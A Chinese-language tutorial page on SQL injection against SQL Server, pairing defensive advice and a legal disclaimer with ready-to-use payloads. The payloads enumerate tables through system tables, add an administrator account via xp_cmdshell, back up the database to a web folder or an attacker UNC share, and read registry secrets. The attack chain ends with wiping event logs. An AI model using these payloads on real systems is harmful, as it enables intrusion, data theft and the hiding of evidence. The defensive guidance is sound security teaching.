首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL 注入高階實戰 (第一部分):善用系統表與擴充預存程序拿取資料庫控制權

     編輯:關於SqlServer

本文揭露駭客如何利用 SQL Server 系統表 (sysobjects、syscolumns) 列舉資料庫結構,並透過 xp_cmdshell、BACKUP DATABASE 等高危功能直接取得作業系統控制權與完整資料庫備份,屬高風險技術,**僅供防禦研究與滲透測試授權環境使用**。

一、 系統表列舉資料庫結構 (錯誤回顯法)

前提:頁面回顯 SQL 錯誤訊息 (如 Conversion failed),可將子查詢結果強制轉型觸發錯誤,將資料「偷渡」在錯誤訊息中。

1. 取得目前資料庫名稱

id=1 AND db_name() > 0
-- 錯誤訊息將包含資料庫名稱

2. 列舉所有使用者資料表 (xtype='U')

id=1 AND (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND status>0) > 0
-- 取得第一個表名;換成 TOP 2、TOP 3... 列舉後續

3. 列舉指定表的欄位名稱

id=1 AND (SELECT TOP 1 col_name(object_id('表名'), 1) FROM sysobjects) > 0
-- col_name(object_id, column_id) 取得第 N 個欄位名
-- column_id 遞增 1,2,3... 遍歷所有欄位

二、 高危擴充功能直接奪權

1. xp_cmdshell 執行作業系統命令 (需 sysadmin)

-- 新增本機管理員帳號
id=1; EXEC master..xp_cmdshell 'net user hacker P@ssw0rd /add';--
-- 加入 Administrators 群組
id=1; EXEC master..xp_cmdshell 'net localgroup administrators hacker /add';--

兩分鐘內拿到系統最高權限。**防禦:移除 xp_cmdshell、降低服務帳號權限、禁止 sa 登入應用**。

2. BACKUP DATABASE 盜取完整資料庫 (需 db_owner)

id=1; BACKUP DATABASE target_db TO DISK='C:\Inetpub\wwwroot\leak.bak';--
  • 若知 Web 根目錄實體路徑 (透過 IIS 錯誤頁洩露),可直接備份至 Web 可下載位置
  • 或備份至 UNC 路徑 \\attacker\share\leak.bak (需網路通訊)
  • **防禦:限制 BACKUP 權限、Web 目錄與資料目錄分離、錯誤頁不洩露路徑**

3. xp_regread 竊取登錄機密

id=1; EXEC master..xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'SecretKey';--

三、 完整攻擊鏈範例

  1. 確認注入點、資料庫類型 (SQL Server)
  2. 判斷連接權限 (sa? db_owner?)
  3. 列舉表/欄位 → 找到管理員帳號表
  4. 若為 sa → xp_cmdshell 奪機器
  5. 若為 db_owner → BACKUP DATABASE 奪資料
  6. 清理痕跡 (刪除備份檔、事件日誌)

四、 根本防禦對策表

攻擊向量根本防禦緩解措施
xp_cmdshellsp_dropextendedproc 移除服務帳號非管理員、啟用 AppLocker 限制執行
BACKUP DATABASEREVOKE BACKUP DATABASE TO public; 僅授予 DBA 角色資料/備份/網站目錄分離磁碟、防火牆封鎖 UNC
系統表列舉參數化查詢 (分離代碼/資料)錯誤頁面不回顯技術細節、WAF 規則攔截 UNION/SELECT
SQL 錯誤回顯自定義錯誤頁 (web.config customErrors=On)記錄詳細錯誤至伺服器端日誌

五、 法律與道德聲明

  • 未經授權滲透測試屬違法 (刑法第 359 條、資安法)
  • 本文技術**僅供**企業內部紅隊演練、授權滲透測試、程式碼審計防禦強化使用
  • 請遵循 負責任揭露 流程回報發現漏洞
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved